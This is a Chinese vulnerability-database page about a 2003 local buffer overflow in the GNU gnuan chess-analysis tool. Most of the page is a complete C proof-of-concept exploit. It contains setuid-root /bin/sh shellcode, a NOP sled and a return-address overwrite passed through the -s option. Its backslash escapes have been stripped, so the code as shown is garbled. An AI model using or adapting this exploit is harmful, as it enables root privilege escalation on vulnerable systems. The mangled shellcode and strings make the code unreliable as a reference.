GNU AN – Command Line Option Local Buffer Overflow

GNU AN – Command Line Option Local Buffer Overflow

漏洞ID 1054005 漏洞类型
发布时间 2003-07-03 更新时间 2003-07-03
图片[1]-GNU AN – Command Line Option Local Buffer Overflow-安全小百科CVE编号 N/A
图片[2]-GNU AN – Command Line Option Local Buffer Overflow-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22861
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/8099/info

A local buffer overflow has been reported for GNU an that may result in an attacker potentially obtaining elevated privileges.

The vulnerability exists due to insufficient boundary checks performed on some commandline options. Successful exploitation may result in the execution of attacker-supplied code. Privilege escalation may be possible on systems where the utility is installed setuid/setgid.

/*

  STX SECURITY LABS:
 
  5358gnuanx0r.c - x86 local buffer overflow exploit
  proof of concept code by: ace [ [email protected] ]
  vulnerability discovered by: t0asty [ [email protected] ]
 
  Description:
 
  gnuan produces an analysis of a chess game. For each move it shows the move,
  the score and the principle variation selected by gnuchess.

  Vulnerability:

  A buffer overflow vulnerability is present in gnuan.
  A segmentation fault occurs when 580 bytes of data are sent to
  the binary using the -s switch. The data overwrites the EIP therefore
  it allows us to control the pointer, allowing us to execute code.
  
  Versions vulnerable:

  [-] All versions are believed to be vulnerable.
      Tested on: Red Hat 7.3 with the latest version.

  ************************************************
  * Note: gnuan may not be suid on all systems.  *
  ************************************************

  StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
  X                                        X
  X STX ONLINE [ www.static-x.org ]        X
  X                                        X
  StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
 
  ************************************************
  * Note: our pen0rs are 50 x larger than yours. *
  ************************************************
 
*/

#include <stdio.h>

char stxcode[] =

     /* ace's shellcode [ [email protected] ] (setuid=0,/bin/sh) */
     "x31xdbx89xd8xb0x17xcdx80xebx03x5exebx05xe8xf8xff"
     "xffxffx83xc6x0dx31xc9xb1x50x80x36x01x46xe2xfaxea"
     "x09x2ex63x68x6fx2ex72x69x01x80xedx66x2ax01x01x54"
     "x88xe4x82xedx11x57x52xe9x01x01x01x01x5ax80xc2xb6"
     "x11x01x01x8cxb2x2fxeexfexfexc6x44xfdx01x01x01x01"
     "x88x74xf9x8cx4cxf9x30xd3xb9x0ax01x01x01x52x88xf2"
     "xccx81x5ax5fxc8xc2x91x91x91x91x91x91x91x91x91";


unsigned long pen0r(void) 

{
 __asm__("movl %esp, %eax");
}

int main(int argc, char **argv) {
 
 int pos; int ace = pen0r(); int stxnop = 0x90;
 int stxbytes = 576; int stxtotal = stxbytes + 4;
 char *stxbof;
 stxbof = (char *)malloc(stxbytes); 

 for(pos = 0; pos < stxbytes; pos++) {*(long *)&stxbof[pos] = stxnop;}
 *(long *)&stxbof[stxbytes] = pen0r();
 memcpy(stxbof + stxbytes - strlen(stxcode), stxcode, strlen(stxcode));

 system("clear");
 printf("#####################################n");
 printf("#        [ STX SECURITY LABS ]      #n");
 printf("#  gnuan local poc exploit by: ace  #n");
 printf("#####################################nn");
 printf("[+] Return Address: 0x%xn", ace);
 printf("[+] Buffer Size: %dn", stxtotal);
 printf("[-] /usr/bin/gnuan -s pwned!nn");

 execl("/usr/bin/gnuan", "gnuan", "-s", stxbof, NULL);

return 0;

}

相关推荐: NetScreen ScreenOS Remote Reboot Vulnerability

NetScreen ScreenOS Remote Reboot Vulnerability 漏洞ID 1102010 漏洞类型 Failure to Handle Exceptional Conditions 发布时间 2002-05-27 更新时间 200…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享